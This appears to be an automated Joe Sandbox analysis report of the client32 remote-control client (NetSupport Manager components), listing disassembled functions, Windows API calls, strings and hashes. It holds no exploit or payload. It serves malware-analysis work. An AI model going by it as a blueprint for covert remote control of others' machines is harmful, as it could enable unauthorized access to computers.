GetTickCount.KERNEL32 ref: 11133BBC

Strings

HasStudentComponents=%d, xrefs: 11133C37
Warning. SHGetFolderPath took %d ms, xrefs: 11133BC6
schplayer.exe, xrefs: 11133BF8
%s%s, xrefs: 11133B6A, 11133C0E
CommonPath, xrefs: 11133BDF
runplugin.exe, xrefs: 11133B4E
Software\NSL, xrefs: 11133BE4

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$FolderPathwsprintf
String ID: %s%s$CommonPath$HasStudentComponents=%d$Software\NSL$Warning. SHGetFolderPath took %d ms$runplugin.exe$schplayer.exe
API String ID: 1170620360-4157686185
Opcode ID: 3e33b262656940685e1aad64be50304ad358b3175c825220752b1feac52a0f54
Instruction ID: ff3437da4bce093be243bc4ea55ba4e08a4d9634e929d706e548d7c9b68f93f5
Opcode Fuzzy Hash: 3e33b262656940685e1aad64be50304ad358b3175c825220752b1feac52a0f54
Instruction Fuzzy Hash: 68315BB5E1022EABD3209BB19D80FEDF3789B9031DF100065E815A7644EF71B9048795

Function 11027200 Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 174sleepCOMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 11027286
_strtok.LIBCMT ref: 110272C0
Sleep.KERNEL32(110302E7,?,*max_sessions,0000000A,00000000,?,00000002), ref: 110273B4

Strings

Client, xrefs: 11027276, 1102731B
Protocols, xrefs: 11027271
TCPIP, xrefs: 110272E2
*max_sessions, xrefs: 11027316
Retrying..., xrefs: 110273A2
Error. not all transports loaded (%d/%d), xrefs: 11027388
UseNCS, xrefs: 110272DD
LoadTransports(%d), xrefs: 110272FC

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strtok$Sleep
String ID: *max_sessions$Client$Error. not all transports loaded (%d/%d)$LoadTransports(%d)$Protocols$Retrying...$TCPIP$UseNCS
API String ID: 2009458258-3774545468
Opcode ID: 63e92d32746378da14513997d44a64d2e58a17b182b9feed40e1f111193f9b60
Instruction ID: 2d05d95278d551eaaa07460440d96754ad32abd10519b78537541f164f63ece7
Opcode Fuzzy Hash: 63e92d32746378da14513997d44a64d2e58a17b182b9feed40e1f111193f9b60
Instruction Fuzzy Hash: EE513536E0166A8BDB11CFE4CC81FEEFBF4AF95308F644169E81567244D7316849CB92

Function 6EEF8D00 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 144COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,6EF067B5), ref: 6EEF8D6B

Part of subcall function 6EEF4F70: LoadLibraryA.KERNEL32(psapi.dll,?,6EEF8DC8), ref: 6EEF4F78

GetCurrentProcessId.KERNEL32 ref: 6EEF8DCB
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 6EEF8DD8
FreeLibrary.KERNEL32(?), ref: 6EEF8EBF

Part of subcall function 6EEF4FB0: GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 6EEF4FC4
Part of subcall function 6EEF4FB0: K32EnumProcessModules.KERNEL32(00000FA0,?,00000000,6EEF8E0D,00000000,?,6EEF8E0D,00000000,?,00000FA0,?), ref: 6EEF4FE4

FindCloseChangeNotification.KERNEL32(00000000,00000000,?,00000FA0,?), ref: 6EEF8EAE

Part of subcall function 6EEF5000: GetProcAddress.KERNEL32(?,GetModuleFileNameExA), ref: 6EEF5014
Part of subcall function 6EEF5000: K32GetModuleFileNameExA.KERNEL32(00000FA0,?,00000000,00000104,00000000,?,6EEF8E50,00000000,?,?,00000104,00000000,?,00000FA0,?), ref: 6EEF5034

Part of subcall function 6EEF2420: _strrchr.LIBCMT ref: 6EEF242E

Strings

CLIENT247, xrefs: 6EEF8DA7
Set Is247=%d, xrefs: 6EEF8ED7
NSM247Ctl.dll, xrefs: 6EEF8E7E
NSM247, xrefs: 6EEF8D8B
pcictl_247.dll, xrefs: 6EEF8E6C
is247, xrefs: 6EEF8D42

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: Process$AddressFileLibraryModuleNameProc$ChangeCloseCurrentEnumFindFreeLoadModulesNotificationOpen_strrchr
String ID: CLIENT247$NSM247$NSM247Ctl.dll$Set Is247=%d$is247$pcictl_247.dll
API String ID: 3028219403-3484705551
Opcode ID: 97d927b9114a0c85f55d18f62d7beee886d9b8b36f1a354ed158acecccb8d9ed
Instruction ID: f1c261a2d17a40a3807a37c45ae8e1e30ce7eb3f7af04a92af177b3abdc99471
Opcode Fuzzy Hash: 97d927b9114a0c85f55d18f62d7beee886d9b8b36f1a354ed158acecccb8d9ed
Instruction Fuzzy Hash: 7041D971A10219DBDB20DBD2DC65FEAB37DEF45708F100459EA19A7240F7709A46CFA1

Function 111037D0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 68threadCOMMON

Download Yara Rule

APIs

Part of subcall function 11089560: UnhookWindowsHookEx.USER32(?), ref: 11089583

GetCurrentThreadId.KERNEL32 ref: 111037EC
GetThreadDesktop.USER32(00000000), ref: 111037F3
OpenDesktopA.USER32(?,00000000,00000000,02000000), ref: 11103803
SetThreadDesktop.USER32(00000000), ref: 11103810
CloseDesktop.USER32(00000000), ref: 11103829
GetLastError.KERNEL32 ref: 11103831
CloseDesktop.USER32(00000000), ref: 11103847
GetLastError.KERNEL32 ref: 1110384F

Strings

OpenDesktop(%s) failed, e=%d, xrefs: 11103857
SetThreadDesktop(%s) ok, xrefs: 1110381B
SetThreadDesktop(%s) failed, e=%d, xrefs: 11103839

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Desktop$Thread$CloseErrorLast$CurrentHookOpenUnhookWindows
String ID: OpenDesktop(%s) failed, e=%d$SetThreadDesktop(%s) failed, e=%d$SetThreadDesktop(%s) ok
API String ID: 2036220054-60805735
Opcode ID: da88b65c0f1a222e5146661c722578c7b813502f3e62b472f9264116a955105f
Instruction ID: e88c17566eeed1fb37d42defb77813990fcfc850afde34c4ed6f8b5b44c54373
Opcode Fuzzy Hash: da88b65c0f1a222e5146661c722578c7b813502f3e62b472f9264116a955105f
Instruction Fuzzy Hash: 4A112979F402196BE7047BB25C89F6FFA2C9F8561DF000038F8268A645EF24A40083B6

Function 1115F240 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 57COMMON

Download Yara Rule

APIs

GlobalAddAtomA.KERNEL32(NSMWndClass), ref: 1115F268
GetLastError.KERNEL32 ref: 1115F275
wsprintfA.USER32 ref: 1115F288

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Part of subcall function 11029A70: _strrchr.LIBCMT ref: 11029B65
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029BA4

GlobalAddAtomA.KERNEL32(NSMReflect), ref: 1115F2CC
GlobalAddAtomA.KERNEL32(NSMDropTarget), ref: 1115F2D9

Strings

GlobalAddAtom failed, e=%d, xrefs: 1115F282
NSMDropTarget, xrefs: 1115F2CE
m_aProp, xrefs: 1115F2BA
NSMReflect, xrefs: 1115F2C7
NSMWndClass, xrefs: 1115F260
..\ctl32\wndclass.cpp, xrefs: 1115F299, 1115F2B5

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AtomGlobal$ErrorExitLastProcesswsprintf$Message_strrchr
String ID: ..\ctl32\wndclass.cpp$GlobalAddAtom failed, e=%d$NSMDropTarget$NSMReflect$NSMWndClass$m_aProp
API String ID: 1734919802-1728070458
Opcode ID: 402ec4c373f1d9ae321d95a7acd37e1e5b6a56151d149dbb571c93f25e459d97
Instruction ID: 07e815115c29277e6575bd3acbfe434a71258061b731743832bfb2ada14664d5
Opcode Fuzzy Hash: 402ec4c373f1d9ae321d95a7acd37e1e5b6a56151d149dbb571c93f25e459d97
Instruction Fuzzy Hash: BB1127B5A4031AEBC720EFE69C80ED5F7B4FF22718B00466EE46643140EB70E544CB81

Function 11110DE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

std::exception::exception.LIBCMT ref: 11110E4A
__CxxThrowException@8.LIBCMT ref: 11110E5F
GetCurrentThreadId.KERNEL32 ref: 11110E76
InitializeCriticalSection.KERNEL32(-00000010,?,11031700,00000001,00000000), ref: 11110E89
InitializeCriticalSection.KERNEL32(111F18F0,?,11031700,00000001,00000000), ref: 11110E98
EnterCriticalSection.KERNEL32(111F18F0,?,11031700), ref: 11110EAC
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,11031700), ref: 11110ED2
LeaveCriticalSection.KERNEL32(111F18F0,?,11031700), ref: 11110F5F

Strings

..\ctl32\Refcount.cpp, xrefs: 11110EE6
QueueThreadEvent, xrefs: 11110EEB

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Initialize$CreateCurrentEnterEventException@8LeaveThreadThrow_malloc_memsetstd::exception::exceptionwsprintf
String ID: ..\ctl32\Refcount.cpp$QueueThreadEvent
API String ID: 1976012330-1024648535
Opcode ID: d645c5834ea71053a0f95081aaaa0ddb1bcc4547c3ef44f405f5b2b37748006b
Instruction ID: f3d5edf841f59403b8991f5d6a5c2e10d1098d1cef77e9e1f9f0bcea7e620dca
Opcode Fuzzy Hash: d645c5834ea71053a0f95081aaaa0ddb1bcc4547c3ef44f405f5b2b37748006b
Instruction Fuzzy Hash: 2141AD75E00626AFDB11CFB98D80AAAFBF4FB45708F00453AF815DB248E77599048B91

Function 11061320 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 289registryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,11180365,00000000,00000000,EFF676FC,00000000,?,00000000), ref: 110613A4
_malloc.LIBCMT ref: 110613EB

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

RegEnumValueA.ADVAPI32(?,?,?,00000000,00000000,00000000,000000FF,?,EFF676FC,00000000), ref: 1106142B
RegEnumValueA.ADVAPI32(?,00000000,?,00000100,00000000,?,000000FF,?), ref: 11061492
_free.LIBCMT ref: 110614A4

Strings

..\ctl32\Config.cpp, xrefs: 110613B3, 110613D3, 110615A5
strlen (k.m_k) < _tsizeof (m_szSectionAndKey), xrefs: 110615AA
maxname < _tsizeof (m_szSectionAndKey), xrefs: 110613D8
err == 0, xrefs: 110613B8

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnumValue$ErrorExitInfoLastMessageProcessQuery_free_mallocwsprintf
String ID: ..\ctl32\Config.cpp$err == 0$maxname < _tsizeof (m_szSectionAndKey)$strlen (k.m_k) < _tsizeof (m_szSectionAndKey)
API String ID: 999355418-161875503
Opcode ID: 1fd6cffb0b6506106fbd2de026ba492dd64e6340ee49c1c0b4f88686c2a5e216
Instruction ID: 6cc8e5caf6a1957f468abfb3494a260dc46a483def11051c8948769c459486e3
Opcode Fuzzy Hash: 1fd6cffb0b6506106fbd2de026ba492dd64e6340ee49c1c0b4f88686c2a5e216
Instruction Fuzzy Hash: 78A1A175A007469FE721CF64C880BABFBF8AF49304F144A5DE59697680E771F508CBA1

Function 1115C8E0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 183commemoryCOMMON

Download Yara Rule

APIs

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,EFF676FC,00000000,?), ref: 1115C927
CoCreateInstance.OLE32(111C627C,00000000,00000017,111C61AC,?), ref: 1115C947
wsprintfW.USER32 ref: 1115C967
SysAllocString.OLEAUT32(?), ref: 1115C973
wsprintfW.USER32 ref: 1115CA27
SysFreeString.OLEAUT32(?), ref: 1115CAC8

Strings

WQL, xrefs: 1115CA40
SELECT * FROM %s, xrefs: 1115CA21
root\CIMV2, xrefs: 1115C961

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Stringwsprintf$AllocCreateFreeInitializeInstanceSecurity
String ID: SELECT * FROM %s$WQL$root\CIMV2
API String ID: 3050498177-823534439
Opcode ID: 175defb0ff3311be352c3e895ec4c40801578b620f8bdfb43f719b83b34ddfee
Instruction ID: 91bf14772fb0e49150e0dc85e0cb347219a857647afd576183cc1e94570c565b
Opcode Fuzzy Hash: 175defb0ff3311be352c3e895ec4c40801578b620f8bdfb43f719b83b34ddfee
Instruction Fuzzy Hash: 04518071B40619AFC764CF69CC94F9AFBB8EB8A714F0046A9E429D7640DA30AE41CF51

Function 6EF10D40 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(IPHLPAPI.DLL,00000000,6EF10F2B,2EC57596,00000000,?,?,6EF2F278,000000FF,?,6EEFAE0A,?,00000000,?,00000080), ref: 6EF10D48
GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 6EF10D5B
GetAdaptersAddresses.IPHLPAPI(00000002,00000000,00000000,?,?,-6EF3CB4C,?,?,6EF2F278,000000FF,?,6EEFAE0A,?,00000000,?,00000080), ref: 6EF10D76
_malloc.LIBCMT ref: 6EF10D8C

Part of subcall function 6EF11B69: __FF_MSGBANNER.LIBCMT ref: 6EF11B82
Part of subcall function 6EF11B69: __NMSG_WRITE.LIBCMT ref: 6EF11B89
Part of subcall function 6EF11B69: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,6EF1D3C1,6EF16E81,00000001,6EF16E81,?,6EF1F447,00000018,6EF37738,0000000C,6EF1F4D7), ref: 6EF11BAE

GetAdaptersAddresses.IPHLPAPI(00000002,00000000,00000000,00000000,?,?,?,?,?,6EF2F278,000000FF,?,6EEFAE0A,?,00000000,?), ref: 6EF10D9F
_free.LIBCMT ref: 6EF10D84

Part of subcall function 6EF11BFD: HeapFree.KERNEL32(00000000,00000000), ref: 6EF11C13
Part of subcall function 6EF11BFD: GetLastError.KERNEL32(00000000), ref: 6EF11C25

_free.LIBCMT ref: 6EF10DAF

Strings

IPHLPAPI.DLL, xrefs: 6EF10D41
GetAdaptersAddresses, xrefs: 6EF10D55

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: AdaptersAddressesHeap_free$AddressAllocateErrorFreeLastLibraryLoadProc_malloc
String ID: GetAdaptersAddresses$IPHLPAPI.DLL
API String ID: 1360380336-1843585929
Opcode ID: bc17f9a7ca481b797acbeef5794fa28781dc4c195dc8179eca69843d49917729
Instruction ID: ea28e859b89875d951d2c91b799e64ceb498b718d2cafe4db6237d8382de4fed
Opcode Fuzzy Hash: bc17f9a7ca481b797acbeef5794fa28781dc4c195dc8179eca69843d49917729
Instruction Fuzzy Hash: 6201F7B5204306ABE6708BB08CA8FD777AC9F41B00F10481DF5658F280FAB1F444C760

Function 11146010 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 11145F00: RegOpenKeyExA.KERNELBASE(80000002,SOFTWARE\Productive Computer Insight\PCICTL,00000000,00000100,?,00000000,00000000), ref: 11145F70
Part of subcall function 11145F00: RegCloseKey.ADVAPI32(?), ref: 11145FD4

_memset.LIBCMT ref: 11146055
GetVersionExA.KERNEL32(?,00000000,00000000), ref: 1114606E
LoadLibraryA.KERNEL32(kernel32.dll), ref: 11146095
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 111460A7
FreeLibrary.KERNEL32(00000000), ref: 111460BF
GetSystemDefaultLangID.KERNEL32 ref: 111460CA

Strings

GetUserDefaultUILanguage, xrefs: 111460A1
kernel32.dll, xrefs: 11146080

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressCloseDefaultFreeLangLoadOpenProcSystemVersion_memset
String ID: GetUserDefaultUILanguage$kernel32.dll
API String ID: 4251163631-545709139
Opcode ID: d16ef3f8451e0833cf110c528b048f63f93f72395641363cf9238af7566ccf25
Instruction ID: 3f0f124d44211a8ad3fb9d67620e20a9ac0b69379346808ac7e8dd1e07daf2e5
Opcode Fuzzy Hash: d16ef3f8451e0833cf110c528b048f63f93f72395641363cf9238af7566ccf25
Instruction Fuzzy Hash: 8731C370E00229CFDB21DFB5CA84B9AF7B4EB45B1CF640575D829D3A85CB744984CB51

Function 110155C0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 128registryCOMMON

Download Yara Rule

APIs

